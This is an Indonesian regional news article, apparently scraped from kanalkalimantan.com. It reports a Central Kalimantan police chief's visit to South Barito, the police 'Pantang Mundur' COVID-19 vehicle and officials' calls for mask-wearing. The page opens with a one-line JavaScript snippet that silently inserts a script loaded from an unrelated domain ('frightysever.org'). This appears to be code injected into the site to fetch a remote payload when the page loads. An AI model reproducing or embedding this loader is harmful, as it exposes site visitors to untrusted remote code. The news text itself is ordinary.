(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BUNTOK – Mobil Pantang Mundur milik Polres Barsel sempat jadi perhatian Kapolda Kalteng Irjen Dedi Prasetyo saat melakukan kunjungan ke Barsel. Mobil tersebut digunakan Polres Barsel untuk melawan Covid-19.
Kapolres Barsel AKBP Devy Firmansyah mengatakan, Kapolda bersama Danrem dan rombongan lainnya melaksanakan touring kebangsaan.
“Beliau bersama rombongan berencana mengunjungi Polres Barut dan karena melintas di Barsel menyempatkan diri sekaligus silaturahmi dengan
kita di Barsel ini,” kata Devy kepada Kanalkalimantan.com, di Buntok, Sabtu (15/8/2020).
Ia mengatakan, selain menyempatkan singgah melihak kondisi Barsel, Kapolda juga menyempatkan melihat mobil Pantang Mundur yang telah
lauching beberapa waktu lalu. “Usaha kita dalam melawan wabah covid-19 melalui mobil pantang mundur yang membagikan air probiotik kepada masyarakat Barsel secara gratis. Beliau sangat mengapresiasi,” ucap Devy.
Dalam kunjungannya, Kapolda dan Danren untuk lebih menggiatkan lagi gerakan penggunaan masker. Sebab saat ini kesadaran masyarakat masih perlu ditingkatkan. “Tidak pernah bosan kita mengimbau kepada masyarakat untuk terus menggunakan masker dalam setiap melaksanakan kegiatan saat beraktivitas di luar,” pinta Devy.
Untuk Barsel, dalam statistik jumlah covid-19 masih belum ada tren angka penurunan. Tentunya tanpa dukungan masyarakat, pemerintah tak akan mampu mengubah. “Kami TNI Polri bersama Gugus Tugas dan Pemerintah Daerah selalu memberikan usaha yang maksimal dalam menangani Covid-19 di Barsel,” tegas Devy.
Di tempat sama Dandim 1012/btk Letkol Inf Dwi Tantono mengatakan, Barsel sendiri saat ini sudah masuk dalam zona merah. “Apapun usaha kami akan sia-sia kalau tidak di dukung kembali dengan kesadaran masyarakat Barsel akan pentingnya menjalankan aturan yang sudah ada untuk melawan dan memerangi covid-19 di Barsel ini,” ujar Dwi.
Ditambahkan olehnya paling tidak dengan pentingnya penggunaan masker bisa jadi perhatian khusus bagi masyarakat Barsel untuk bisa mentaatinya, tentu perubahan status zona di Barsel akan lebih mudah. “Sosialisasi dan edukasi apapun yang telah kita lakukan tentunya percuma kalau tidak dituruti dengan minimnya kesadaran masyarakat dalam mentaati anjuran yang telah diberikan selama ini,” pungkas Dwi.(kanalkalimantan.com/digdo)
Reporter: Digdo
Editor: Cell
KANALKALIMANTAN.COM, BANJARMASIN - Warga Jalan Harmoni III Kelurahan Pekapuran Raya, Kecamatan Banjarmasin Timur. Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) kembali menerima opini Wajar Tanpa… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kelurahan Selat Dalam, Kecamatan Selat, Kabupaten Kapuas, Kalteng menggelar acara… Read More
KANALKALIMANTAN.COM, MARTAPURA - Kontingen Pekan Olahraga Pelajar Daerah (Popda) Kabupaten Banjar Tahun 2024 yang terdiri… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Lian Silas, terdakwa kasus Tindak Pidana Pencucian Uang (TPPU) narkotika jaringan Fredy… Read More
KANALKALIMANTAN.COM, BANJARBARU – Kali kesekian, anak kecil Penyandang Masalah Kesejahteraan Sosial (PMKS) di kawasan lampu… Read More
This website uses cookies.